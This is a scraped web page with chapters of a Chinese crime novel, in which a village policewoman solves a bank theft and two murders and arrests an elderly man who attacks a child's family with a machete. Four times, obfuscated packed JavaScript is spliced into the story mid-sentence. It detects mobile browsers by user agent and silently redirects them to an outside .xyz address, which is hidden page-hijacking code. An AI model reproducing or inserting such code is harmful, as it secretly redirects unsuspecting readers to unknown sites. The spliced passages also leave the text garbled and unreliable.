“我平时都很忙,不知道是什么事情……”他更加紧张了。 而这个时候,他听到了咩咩咩的声音,转过头,有两只羊进来了,一直咩咩咩地叫个不停。 他心生窃喜,这反倒是给了他一个机会,他赶紧说道:“警察同志,你等一下,我们家羊进院子了,我把它赶出去。” “咩——咩——” “咩——咩——” 两只羊都是成年羊,咩起来声音很大。 云松没有放羊的经验,她还以为羊是遇到了她这个陌生人,所以才咩咩叫,毕竟她昨天刚上来的时候被村子里的大鹅追着跑。农村的动物,大多数都有看家的本领。 云松并没有上前帮忙,一方面是需要和人拉开距离,另一方面她的警察身份对人有用,对羊没用。 她便站在旁边,看着这人赶羊。 因为她的注视,梅强咽了咽口水,拿了根棍子,一边往外打羊,一边对羊说话。 “你们今天是怎么回事?怎么就不知道回圈里去了?” “快点出去,不要在这里面拉屎。”梅强说话时,棍子打到了羊的头,羊开始叫得更大声了。 “咩!!!!” 云松依旧看着,她心里头对梅强的怀疑更多了几分。 之前,她和村子里面其他人说话,无论是在洋芋地里除草,还是在菜地里施肥,几乎所有人都能做到,一边回答她的问题,一边锄头不停,而且都能做到不伤到农作物,还能腾出心思问她关于镇上发现的尸体的八卦。 云松现在的怀疑方向是梅强知道王家旺做的事情,很有可能帮王家旺藏了起来了。 张竹珍也从里面出来了,她刚进去的烧水,准备泡茶给贵客。 结果水还没烧开,外面羊咩咩咩地越叫越大声,她赶紧出来看看。 “怎么回事?你怎么跟羊干起来了?” 两只羊正围着自己男人咩咩地叫个不停。 张竹珍和梅强不一样,她心里没有那么多事情忧心,自然能够发觉不对劲。 平时出去放羊,回来以后,羊们就会自己到羊圈里面去,很少会到院子里面来。 今天怎么回事? 张竹珍以为是羊圈门没有打开,于是先到院子外面去看。 四只大羊带着两只小羊就站在羊圈外面。 果然,羊圈的门没打开。 等等!四只大羊,两只小羊。张竹珍转过头看了看院子。 还有两只大羊在院子里。这一共才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687343|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八只啊! “老梅,还有九只羊呢?”张竹珍里里外外都看了一下,又去旁边的店里面看了一下都没有。 梅强愣了一下,他这个时候才注意到,羊少了这么多,回来的时候,他满心都是钱的事情,都是杀人的事情,都是警察的事情,哪里会想着去数羊。 “你是不是聋昏了!九大九只羊子不见了,你都看不到啊!”张竹珍气得不行。 九只!不是一两只!难怪这两只羊一个劲地咩咩咩!原来是同伴不见了! 云松立马说道:“那现在快点去山里找。我跟你们一起去。” 梅强脑海里全都是之前放羊去了山洞那边,羊……羊会不会去了山洞? 他赶紧说道:“这就不麻烦警察同志了。” “不麻烦,我正好要查案子,也要去山里看看。” 张竹珍赶紧去把已经回来的羊放进羊圈,这才出来,说道:“你今天在哪儿放羊,快带我们过去。” 梅强不想走,他一个劲想要给自己老婆使眼色,想要她消停一下,先把警察应付过去,再去山里面找羊。 张竹珍完全没有接收到,她现在满脑子都是丢了9只羊,整整九只羊! “你看我做什么?我脸上有羊?你今天到底怎么回事?”张竹珍怀疑这个人是不是人老了,脑子出问题了。 梅强见她这样说,又感觉到这个警察一直盯着自己看,他觉得很不对劲,他昨天就注意过,这个警察跟村子里面其他所有人说话都是有说有笑,唯独对他不一样。 现在,她又一直盯着看。 “你少说两句。”梅强对张竹珍也有气,平时话就多,现在在外人面前,也是什么都说!他迟早被害死! “你从昨天开始就一直不对劲,现在出门放个羊,一共17只羊,你丢了9只羊!”张竹珍心里是真的急,这些羊还是借钱买回来的,丢了是大事! “你能不能莫说了,我们现在就去山里找,找不到,你今天把我杀了,给你赔罪,你就高兴了!”他还急了,脸红脖子粗的。 云松:“……”对方这个情绪,怎么感觉不像是窝藏了罪犯。 农村人对于窝藏犯人没有多少概念,毕竟自己直接没有参与犯罪。 他这个情况,像是自己也参与了犯罪。 17.银行被偷案(十七) 第十七章 云松一行人的位置比较特别,它和周围的山形成了一个勺子形状,村子里的人居住的地方便是勺子的凹陷处,于是,从居住地出来,无论哪个方向,都是在往上走。 梅强并没有带着人往南边的山洞方向走,他走了反方向。 他的想法很简单,怕把人带着在山上转,转了两三个小时后,他不信人累不倒。 他老婆急得冒火,警察云松只是跟着,三个人就这样往山上走。 其他人一看,这横眉竖眼的,还有一个警察同志跟着,很明显就有事情啊。这谁能忍住不问两句? “二婶子,你们这么着急忙慌地去哪儿?” “别说了,说起来我就有气,他今天去放羊,结果有九只羊没带回来,警察同志也去帮我们找。” “肯定还在山上,你们去找肯定就能找到了。” 一路上遇到了好几个人,个个都要问一遍。 大家就都知道了这件事,村子里便是这样,有什么都会说出来。 而村子的消息速度很快,小梅刚把作业做完,正准备去山上找妈妈。 小梅的爸爸妈妈这两天收回了谷子,准备等两个大太阳,晒干了,到时候去街上卖。 小梅的学费是借的,小梅的父母这两天都在盘算留出口粮后还能卖多少钱。 钱肯定不够,所以宁香秀今天去山里,看看能不能抓一两条蛇回来。小梅的爸爸则是去田地里找洋辣子壳壳,看看能不能卖点钱。 小梅做完作业,也想去山里找妈妈。 她才走过一个田坎,就听到大家在说这件事情。 羊走丢也是常有的事情,她本来想跟着一起去找,也许她帮忙找到了,二爷爷二奶奶会送点钱给她呢,可是又不知道二爷爷走的哪个方向。 她往回走,正好就看到了二爷爷家的羊圈,羊还在咩咩咩的叫。 小梅脑袋瓜特别灵活,心说,可以试试带一只羊出去找羊。 她跑到了二爷爷家的羊圈。 堂姐正好从山上回来。 “小梅,你在那儿干什么?” “堂姐,我去帮你们找羊,用羊找。” 堂姐觉得好笑,羊又不是狗,但小梅喜欢就让她去吧,她说道:“那你去吧,不要把带去的羊丢了哦。” 选哪一个羊呢? 小梅看了看羊圈里面有一只羊,特别着急,一直跺脚。 她心想,这只羊肯定有好朋友在山上没有回来,所以才会这么着急。 她赶紧把这只羊牵了出来,她也有点怕把人家这只羊给丢了,本来想去捞个大功劳,万一犯了错,那就不好了。 她们家现在缺钱,可经不起这种事情了。 于是,小梅从旁边拿了一根绳子,套在羊的脖子上。 “你带我去找其他的羊吧。” 这只大羊好像能听懂她说话,很快就朝着南边的雾烧山去了。 小梅立马跟上,她心里想着,要是她一个人把所有的羊都找回来了,二爷爷家肯定会高兴。 小梅也想过有可能会在路上遇到云松和二爷爷,到时候就可以大家一起牵着这只羊去找其他的羊,到时候云松肯定也会觉得她特别聪明。 这样一想,她跑得就更快了。 雾烧山上几乎都是松树,这个月是农忙时间,没有多少人来扫松针,所以一进山就踩上了厚厚的松针。 这边的农作物比较少,所以人也少,像是进入了另一个世界。 “云松阿姨——” “二爷爷——” “二奶奶——” 小梅一路走一路喊,羊在前面也咩咩咩的叫。 奇怪的是好像这座山就只有她和这只羊。 “小黑,你是不是记错了?”小梅见这只黑羊头上有一撮黑毛,于是给它取了个名字。 “会不会不在这座山?咱们走了这么远了,怎么一个人都没遇到?” “咩——” “咩咩——” 羊叫得更大声了。 小梅决定再相信这只羊一回,于是接着往上走。 一人一阳又翻过了半座山路上还遇到了好多青头菌,小梅去拔了一根茅草,穿过青头菌挂在自己的身上。 万一没有找到羊,回去有蘑菇吃也挺好的。现在家里穷,得省着点。 又翻过了一座山,小梅没力气了。 她找了块干净的草地躺了下来,羊也累着了,于是就在那草地上开始吃草,补充一下体力。 小梅看着羊吃草,忍不住说道:“我总觉得你是不是记错了?你的好朋友羊去哪儿了?” “咩——”羊停下吃草,冲着小梅咩了一下。 “不要老是咩呀,快想想在哪儿?” “咩——” “咩咩——” “咩——”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692796|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 小梅是不是累坏了,觉得自己耳边听到了好多羊在咩。 她赶紧爬起来细听。 “咩——” 旁边原本在吃草的羊不吃草了,开始朝着一个方向跑。 小梅也不觉得累了,跟着跑了过去。 她穿过了一大丛竹林,很快就看到了前面的羊。 好聪明的一群羊,它们全部躲在山洞里。 小梅开始数— 一只,两只,三只…… 不对,二爷爷家说有九只羊丢了,怎么现在只有8只? 小梅在山洞里面转了转,就看到里面堆着油菜花杆的地方正卧着一只小羊。 “出来,出来——” 小梅去赶这只小羊,小羊起身,蹬了两脚,就看到红色的纸飘了出来。 小梅眼睛接收到了这个信息,整个人还没有反应过来。 这红色的是什么? 数字一百和伟人面孔印入眼帘。 小梅这辈子才过十三年,她总共就一次接触到了一百块钱。 那是她要交学费的时候。 妈妈带着她打着火把,去了隔壁雨兰镇,去那里找她的小姨借钱。 小姨当时便给了她们两百块钱,小梅是个聪明的孩子,她至今记得当时小姨夫的黑脸和母亲的赔笑。 还有小姨的婆婆在外面院子里用竹竿打院子里的鸡,一边打一边骂:“下蛋下不了几个,就知道吃家里的粮食!我们是什么有钱人家!我打死你!我打死你!” 她当时站在后面,很想说算了,咱们不读了,她不读书也会有出息啊。 可妈妈好像看不懂小姨夫的黑脸,也听不懂小姨婆婆在外面说的那些话,还在继续说好话。 最后她们拿到了两百块钱,小姨也是眼泪汪汪的,私下里小声让她们一定要在过年前还上。 回去的时候,她也只是摸了两下,当时只是觉得那个钱上散发着一股很不舒服的味道。 而现在,地上一张又一张,全都是一百块钱。 小梅看着这么多这么多的钱。 人傻了。 怎么办怎么办啊! 小梅深呼吸,再深呼吸。 她蹲了下来,摸了摸这钱,呜呜呜,是真的。好多钱啊。 她一张一张地捡起来,真的好多好多钱! 一百,两百,三百…… 真好闻,真好摸…… 18.银行被偷案(十八) 第十八章 小梅数了又数,最后确定下来,有189张,189张,18900元。 真的好多钱, 她们家找小姨借了200块钱,害得小姨被她婆家人黑脸色。 小梅喜滋滋地摸着这叠钱,特别豪爽地抽了三张百元大钞出来! 还三张……不,四张给小姨,到时候让小姨在她婆家也要扬眉吐气!让她们知道,她才不是穷亲戚!她倒要看看小姨家的人还给不给脸色看! 还有185张!小梅拿着钱,初中高中大学的学费都有了!而且她们家再也不用去借钱了! 小梅此时此刻,满脑子都是这个钱要怎么花,以后要过上好日子了。 “咩!”旁边的羊们不懂这个人类的快乐,咩咩咩地催促她该回家了。 等一下,小梅被钱填满了的脑袋里可算是挤出来了一个小小的问题。 这钱是哪来的?谁放在这儿的? 总不能是像蘑菇一样从地上长出来的吧? 她的脑海中开了这样一个小小的口子,很快其他的事情就从这个问题中挤了进来,把原本占据脑海里的那些快乐想象全部挤开了。 ——是啊,镇上的银行丢了几万块钱。 ——王家旺叔叔好像杀了另外一个人,拿了钱跑路了。 ——云松阿姨还在找人,也在找钱。 现在,她低下头,会不会就是这个钱? 那王家旺叔叔去哪儿了?二爷爷的羊在这里,二爷爷和王家旺叔叔是一伙的吗? 小梅左右看了看,都没有人,她的心一下子就变成了乱麻了。 原本因为太开心而扔在地上的青头菌,现在也全部捡了起来,重新挂回了身上。 这么多钱……她捡到了,不能像捡到蘑菇一样……吗? 小梅读过书,她已经不是小学生了,勉强也算个文化人。 她脸上的快乐慢慢消失,最后,她把钱塞进了衣服里,然后开始往家的方向走。 太阳快落山的时候,她都到家了,赶着九只羊,二爷爷她们还是没回来。 小梅的堂姐在做晚饭了,结果就看到外面回来的羊们。 她原本还以为是自己的爷爷奶奶把羊赶回来结果出来一看是小梅回来了。 小梅居然去把羊给找到了。 “小梅!厉害啊!” 可是小梅好像不是很开心,她的脖子上挂着两大串青头菌,眼睛红红的,还有哭过的样子。 “小梅?这是怎么了?摔了?”堂姐要过来看她的情况。 “姐,你把羊关进羊圈里,我回家去了。” “小梅?小梅?” 小梅耷拉着脑袋,往家里走去,难过的情绪都快溢出来了。 天快黑的时候,二奶奶她们终于回来了。 空手回来的。 二奶奶一肚子气。今天走了这么远的路,羊也没找到人还摔了一跤。警察跟着她们累了一天,现在回镇上去了。 “奶奶,羊回来了,小梅去找回来的,你别说这孩子可真聪明,她把家里的羊上套了绳子,然后牵着,去找山里的羊。” 她话刚落,原本也累得不行的爷爷突然就站了起来,问道:“小梅去哪儿找到的?” “不知道啊。她回来的时候好像有点不对劲。也不怎么跟我说话,自己回家去了。” 小梅的堂姐并没有说是不高兴,二爷爷只当对方是太高兴了。 “我们去找小梅家过来一起吃晚饭吧,毕竟帮我们把羊找到了。”堂姐说完,出来时,奶奶去羊圈了,爷爷也不在院子里。 梅强出去了以后并没有去小梅家,他先去了山上。 为了这个钱,他已经杀掉了一个人,担惊受怕了这么久。 钱一定要还在山洞里面,他跑得飞快,心里头都是钱。 他这把年纪了,这辈子再也没有机会了。 他趁着夜色,回到了山洞。 油菜杆子已经完全被抛开了,里面一张钱都没有了,旁边还有几个青头菌的残渣。 二爷爷呆呆地看着,最后往回走。 他很快就路过了梅悦家。 梅悦坐在屋檐下洗青头菌,她看到了自己,可并没有准备把钱还给自己。 他看着半大的孩子,对方和他说话,他好像有点听不懂了,每个字都没有进他的耳朵。 他总觉得对方在笑,在得意拿到了他的钱,他们一家三口肯定还在看他的笑话吧。 他看着这个孩子,心里没有愤怒,他异常平静地看着这一家三口。 他想起了王家旺,他当时想要王家旺分他一半,反正这个钱也是王家旺偷来的,又没有费力气。 王家旺不肯。 他拿石头,砸死了他。几下,人就死了。 他回了家,没吃饭,躺在床上,等夜深。 外面先是他老婆一直说羊找回来的事情,很快,就只有搅猪食的声音,再过了一会儿,外面没了声音。 他出了门,拿了砍刀,走向了梅悦家。 梅悦家很安静,透进来的月光让梅强能够看到床上的隆起,他举着砍刀,朝着床上砍去。 不对。 他掀开被子,里面是一个被砍烂了的大南瓜。 他还没有来得及反应过来怎么回事,只听到身后有什么声音,紧接着手腕一疼,砍刀落地。 “梅强,你被捕了。” 说是回镇上的警察,此刻在他身后。 ———————— 五个小时前,小梅哭着回家,她怀里抱着那一万八千九百块钱,越想越难过,越想越想哭。 这个钱为什么就不能直接属于她呢? 于是,对钱的喜欢和钱不属于自己,这两件事的冲击让她的心揪起来了。 小梅是个幸运的孩子,长这么大没吃过多少苦,她家里就一个孩子,虽说穷,可也没有饿过肚子。自己还很争气,平稳地考上了初中。 唯一吃过的苦就是跟钱有关。 学费不够,妈妈去借钱,她心里头难受。 妈妈在学校求老师校长通融,她难受。 在金钱上和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696937|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同学们存在巨大的差距,她难受。 总而言之,钱就是她痛苦的根源,她做梦都想要有钱。 现在,突然有钱了,这么多钱,她找到的,还不能属于她。 这简直就是折磨她这颗小心脏。 宁香秀和丈夫从山里回来的时候,小梅还趴在桌子上哭。 “这是怎么了?”宁香秀有些奇怪,小梅不是一个爱哭的孩子。 “你们过来一下。”小梅眼睛都哭肿了,她把包着钱的衣服摆在了桌子上。 昏暗的光线下,那一大叠钱让人心惊。 两口子先是错愕,紧接着齐刷刷地看着自己的女儿。 “你……小梅,这钱从哪儿来的?” 她们的女儿摸着钱,哭得伤心欲绝,整个人都是一抽一抽的。 “山洞里找到的……”小梅抽抽搭搭地把今天发生的事情全说了。 两口子从来没有见过这么多钱,万元户在几年前都只是听说过。 两口子也忍不住来摸这个钱。 “这个钱……应该就是镇上银行丢的钱吧?”这么多钱,真好摸。 “肯定是。不过怎么会在山洞里面?” “王家旺也许晚上就住在山洞里,他把钱藏在那里了。”王家旺为了这个钱,都已经杀了一个人了。 “现在怎么办?小梅说没有人看到她拿钱了。” 两口子一人拿了一叠钱,爱不释手,可是很快她们也想哭了。 这钱不能留。 一方面,都已经死人了。万一……万一…… 另一方面,这钱拿着,也没办法花啊。 村里村外的,大家谁不了解谁?你那两亩田能卖多少钱,人人都知道,突然间,你把欠别人的钱还了,家里还飘肉香。 这不是明摆着告诉别人,你家有来路不明的钱吗? 若是偷偷地用,难道一家三口大半夜爬起来偷偷吃口肉? 然后提心吊胆地过日子。 宁香秀想了想,还是算了,她本来就是老实人,做不来这种事情。 “算了算了。咱们啊,没有这个发财命啊。”宁香秀说道。 她们那两大田谷子,从种下去到这两天收成,全部卖了也就几百块钱。 而现在,这里就堆着近两万块钱,可这个钱不属于她们。 这怎么能不让人难过呢。 宁香秀是红着眼睛去找云松,云松说是回镇上,实际上只是为了让梅强放松警惕,她猜测梅强晚上会去找羊,宁香秀知道她没走,她把小梅找到钱的事情原原本本地告诉了云松。 云松思索后,觉得钱不像是王家旺藏的,倒像是梅强藏的。 无论是谁,现在村子里的人都知道梅悦找回了梅强家的九只羊,对方回到藏钱的地方,肯定会意识到钱被梅悦带走了。 今天晚上,这人很有可能会来找钱。 于是,云松来到了宁香秀家里,守株待兔。 果不其然,这人来了。 云松看着他手里的大砍刀。 这个人疯了。 19.银行被偷案(完) 第十九章 宁香秀两口子吓得不轻,她们是听到动静才出来,结果出来看到二叔,两个大人因为刚睡醒,没反应过来,还觉得误会呢。 “警察同志,误会了,这是我二叔。” 云松道:“地上的砍刀是他拿来的,你们两去看床上的南瓜。” 两口子先是被地上的大砍刀吓了一跳,这砍刀是二叔家的没错,过年的时候还借过来砍过猪脚。 再一看床上,一个大南瓜砍烂了,露出了里面的囊和南瓜子。 这个大南瓜原本是放在床下的,原本睡在上面的是人。 两口子脊背发凉,汗毛倒数。 云松拿出了手铐,拷住了梅强,这也是她从警生涯中第一次独立经历这样的案子。 她之前在城里派出所工作,这么久了,她的手铐拷得最多的就是两种人,一个是喝多了打人的醉鬼,另一个是小区里出现的小偷。 而且城里的环境和这里也有些不同,把犯人带走就带走了。 她现在在村子里,梅强的家人亲属都在这边。 如果被发现,很有可能会被拦下来。 云松思考片刻,便决定自己先带着人回镇上。 “我先带他回镇上,你们继续睡觉。” 这其实有风险,晚上走山路还要带个犯人,自己又是一个人,容易出事。 宁香秀脑子瓜转得特别快,她立马就意识到了云松一个人这个时候去镇上不安全,她这辈子都没有经历过这样的大事,但此时此刻,她的第一想法便是她得参与进来,于是,宁香秀说道:“我和你一起去,路上也能有个照应。” 她男人立马说道:“我也去,要不然你回来是一个人回来。” 梅悦原本被吓哭了,现在也赶紧擦了擦眼泪:“我也要去。” 一家三口齐齐整整地看着云松,就连被吓着了的梅悦,现在也不害怕了。 “对,我们一家三口一起去。”宁香秀还重复了一遍。 云松的确需要有人帮忙,而且,她把钱拿回镇上,到时候肯定需要银行那边给奖金,这一家三口都在,也方便这件事。 简单地收拾了一下,五个人就出发了。 云松重新梳理了整个事件。 银行那边的负责人说是被偷了五万块钱,但现在她们只找到了一万多。 这中间缺的部分,云松心里有猜想,但还不确定。 她带着梅强回镇上,一路上,大家都很安静。 梅悦一家三口因为押的是熟人,他们心里也是百感交集,他们不想说话。 梅强也没说话,云松注意到,每当她们经过一户人家,梅强会非常紧张,脚步都会放得很轻。 真的是熟人社会,大家是从小一起长大的,梅强之前名声也不错,他在恐惧被人发现自己被警察拷走。 一路上,大家都很沉默。 等到镇上,梅悦一家三口被云松塞到廖家两口子家,暂作休息。 云松带着梅强回了学校。 她们现在的条件实在是太糟糕了,没有关押的地方就算了,连审讯的地方都没有。 唐朝和佟锦看到云松带回了犯罪嫌疑人,都惊呆了。 “你已经找到嫌疑人了?是他涉嫌杀害田贵?” “比较复杂,很有可能我们还有一具尸体需要找。”云松猜测一直没有出现的王家旺应该已经死了。 “……” “他从被抓以后就没有说话。我们先找个地方先审一轮。” “咱们旁边还有一个空寝室。” 云松想起了这一家人每次提到梅强都要提到的梅强给小梅送书包的事情,说道:“我和唐朝去教室,佟锦你先睡觉休息,一会儿等我们审完了,需要你看着他。” 云松和唐朝找了一个空教室,把梅强带了进去。 学校前面的黑板上还写着上周周五的时候老师布置的作业。 云松和唐朝便坐在梅强的对面,云松询问,唐朝负责做笔录。 “我们是平城公安局南区分局金光路派出所的民警,现在需要向你了解关于银行被偷案和你今天凌晨一点二十五分,你入室企图用砍刀砍杀梅悦一事。” 梅强依旧低着头,他看着手铐,不说话。 “姓名。”云松问道。 梅强依旧拒绝沟通,他和云松以前遇到过的那些犯罪嫌疑人不一样,以前遇到的那些犯罪嫌疑人狡辩的词儿是一套一套的,毕竟那些人多次和警察打交道,已经有了心得。 梅强这辈子一直在村子里,他处于另一种生态。 他此时此刻便用沉默抵抗。 云松也不生气,只是提醒道:“我们的侦查手段总共就两种,询问犯人,或者走访亲属。” 她好心提醒道:“如果你不说,我们就需要回村子里,询问村子里的人。” 这真的是好心提醒。 梅强这才抬起头。 云松重新询问:“姓名。” “梅强,你不是已经知道吗?” 云松继续说道:“讲一下你的出生日期,出生地点,家庭情况,文化程度……” 她当然知道,但她需要对方处于一种真实的自我和她对话。 这些问题也很简单,不会有戒备心。 梅强回答道:“我是1940年6月28日,出生在同林镇三里村,我兄弟姐妹有七个,四个姐姐,一个哥哥,一个弟弟。” 他停了下来。 云松道:“还有文化程度。” “我读过小学。” 云松道:“那个时代读过小学,很不容易。” 他低下头,又不说话了。 云松说道:“梅悦是你哥哥的孩子,我听她们家人一人至少说了一次关于梅悦考上了初中,其他亲戚多多少少会有点酸,但你还给她买书包的事情,她们家一直记得这个事情,宁香秀还一直说很感谢你那一次晚上遇到了小梅,把她送回家。” 云松用这些事情很快构造出来了一个小小的空间,在这个空间里,梅强看到了真正的自己。 云松需要他相信他是那样的人,而人,总是更倾向于自己做好事是本心,坏事都是被逼无奈。 梅强像是一下子被拉到了那个当下,而非此时此刻。 他开口道:“我读小学的时候,成绩比较好,我哥那个时候在香金镇给人挖煤供我读书……” 云松说道:“后来呢?” “我考上了卫校,但那个时候……没办法。” “可以说是没有钱毁了你一辈子,如果有钱,应该会有不一样的人生。”云松问道:“那,当你看到王家旺有那么多钱的时候,你是什么感觉?” 什么感觉?梅强被这句话带回了那个喝酒的晚上。 当时什么感觉? 云松说道:“你觉得愤怒吗?会觉得不公平吗?他那样的人,却有那么多钱,你辛苦一辈子都见不到那么多钱。” 他心里积攒的所有的事情,在这一刻被眼前的警察说清楚了。 “是啊,我这辈子都挣不到这么多钱了。村子里很多年轻人都在说,现在时代好了,可以出去打工了,他们有的来镇上打工,有的去城里打工了,他们都是年轻人,可我这辈子都没有这个机会了。” “王家旺给我看到那么多钱,我心里就想,凭什么,他这样的人,偷奸耍滑,还杀了一个人,最后还有这么多钱。” “你怎么知道王家旺杀了人?” “他喝了酒,我当时想要他分我一些,他要吓唬我,就说了自己杀了另一个分钱的人。” “然后你就杀了王家旺?” “他也是杀人犯。我杀他是帮国家节约子弹。” “那他的尸体在哪儿?” 梅强沉默了一下。 云松道:“你愿意说出来,我能保证到时候我们去找尸体会选择在没有人的时候。” 梅强抬起头。 云松再一次好心提醒道:“如果你不说,我们就不得不去搜山,到时候可能需要你们全村的人帮忙。你比我更了解这里,你应该知道他们会怎样议论这件事情。” 云松根据这一两天的经历,她脑海里都已经出现这些人八卦的声音了。 梅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703764|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强是这里的人,他更加清楚到时候是什么情况,他确认了一遍:“警察同志,你说话算话,我把地方说了,你们选一个没有人的时候再去挖。” 云松点头:“只要你配合。” “王家旺跟我说他把人杀了以后,埋在李家的大粪坑里,没有人会知道这件事。我当时心里就在想,如果我把他杀了,然后放进我家的粪坑里,我也可以有这么多钱。” “所以你把尸体埋在你家粪坑里了?” “没有。”梅强说道:“我扔在村支书的粪坑里了。” “为什么是他?” “前几天,他们家鸡经常吃别人家的菜,他们家也不管,我心里不舒服。” 正在做笔录的唐朝:“……”村支书以后还是管管吧。 云松又问了几个问题,最后才把人带回空寝室,让他睡觉休息。 下午,县城派来的侦查员就来了,晚上没什么人的时候,大家才去三里村找王家旺的尸体。 王家旺的尸体果然在村支书家的粪坑里。 这个案子便正式转给了县城里的侦查员,因为同林镇没有关押条件,人由他们负责后续的事情,云松还有一个问题需要处理。 银行被偷的事情。 她们拿回来的钱只有一万八千九,但银行报的数字是五万,根据梅强的招认,他在搬尸体的时候被风吹走了一些钱,但也只是被吹走了一千多。距离5万依旧很遥远。 这中间的差额怎么说? 而且,悬赏金也有些麻烦。 原本说的是提供线索者有500块钱的奖励。 现在…… 张家老太太,对方一开始就想要奖金。 廖家两口子,这两口子自己犯罪是一回事,她们会受到惩罚,但她们也的确积极配合破案,找到了王家旺的尸体。 梅悦一家,她们也提供了非常重要的线索。 银行之前拿五百元出来做悬赏都不太情愿,现在让他们拿一千五,肯定没那么容易。 云松去了银行。 负责人立马就出来了。 “您怎么过来了?快进来喝茶。” 云松道:“茶就不用了,我这里有一个好消息和两个坏消息要跟你说。” “是案子查出来了吧?” 云松道:“我们的确追回了一部分钱,这是好消息,但和你们报的数对不上。你们说五万,但我们追回来的只有一万八千九百,偷银行的王家旺跟人说也只说了偷了两万,中间还缺了三万。” 云松观察着这位负责人,继续说道:“你放心,我是专门来查你们被偷的事情,肯定要查清楚了才会走。” 对方立马赔着笑,说道:“这都怪我,忘了跟你说这个事情了,本来我们也只丢了两万,当时核对的时候,有个员工太粗心了,把钱的数目弄错了,这个事情不用再费心了,是我们这边出了问题,弄错了,中间损耗了一千多很正常。” 他一边说一边让旁边的一个很年轻的小员工过来说话。 对方赶紧来道歉:“当时真的是我看错了,我们准备今天早上过去找你们,跟你们说这个事情,没想到你们查案太快了,这么快就已经把案子查出来了。” 云松对银行不了解,不确定钱能不能点错,但她清楚,只要她要求查,最后查出来的一定是这个小员工,云松不动声色,说道:“你们钱没问题就好,以后要注意。” “这你放心,我们现在已经吸取教训,再也不会出现这种情况了。您说的还有一个坏消息,是什么?” 云松皱了皱眉头,说道:“关于悬赏的事情,之前已经放出了消息,能够提供确实线索的人奖励500元,现在,有三家人都提供了线索,这个钱……” “三家人都提供了线索,肯定是每家人都有五百块钱。你放心,这个肯定会给。”对方赶紧说道。 这个案子也算是结束了。 云松便去叫了三家人来,亲眼看着钱给了这三家人,她才松了一口气。 这几天她几乎没有睡过一个好觉,她决定先回去休息一下。 明天再回城里。 20.后续 第二十章 同林镇从未如此热闹! 短短一周的时间。 银行被偷——李家粪坑发现尸体——找到了杀人凶手——银行给了三家人悬赏,每家人五百。 这不比谁家媳妇儿婆婆吵架,谁家败家子又偷了家里的钱更有吸引力? 傍晚的时候,同林镇的人在河边歇凉,河风习习,孩子们在水边玩,大人们或是洗衣服,或是洗头发,嘴里说的都是这些事情。 “整整500块钱啊。” “听说还偷到了两万多,整整2万块钱。我这辈子都没见过这么多钱。” “怎么现在说是2万了?一开始不是说5万吗?怎么少了这么多?” “我听他们说是核算的时候算错了。” “这些龟儿子是真敢啊!” 大家对视了一眼,都露出了心照不宣的表情。 同林镇这些劳苦的人们每天沉浸在自己的生活中,嫌少有这样的机会。 而现在,她们便是从这些别人身上发生的事情中,伸出头,去想象那些钱如果落在自己身上该多好,暂时做个能梦,得到了脱离自己的人生的刺激。 而镇上发生的这一切,和猫头山上两个老人没有半点关系。 这两位老人便是被廖家小两口囚禁的两位老人。 廖家小两口被警察抓走以后,老两口便出了门,老两口先是看了田地的情况,很是生气。 稻谷是在田里收,一般人都会把稻草堆好,晾干了以后回家铺床,生火,反正这是好东西。 这对偷儿,稻草全扔在了田里,好多都踩进泥巴里了。 不仅如此,这两口子大概是因为晚上来弄,原本田里面有水,她们先把稻田里面的水全放了,所以,田坎被砍了好几个缺口出来。 其中一个缺口被砍得很大,老太太走到那儿的时候差点摔了一跤。 “混账东西!早晓得他们能够来糟蹋我们俩的田,他们两个下不了手杀我们,早晓得我两个狠狠心!”老太太越看越心疼。 老爷子见自己老伴被这些缺口气到了,他赶紧用稻草把这些缺口全部遮住,眼不见心不烦。 等下午的时候回去拿锄头来补这些缺口。 这些年,两口子其他的都不管,每天都是在精心照料这些田啊地啊,现在看着被糟蹋成这个样子,她们是真的心疼。 “先把稻草捡回去,下午来补缺口。” 老两口把稻草全部捡起来,看看晒干后还能不能用。 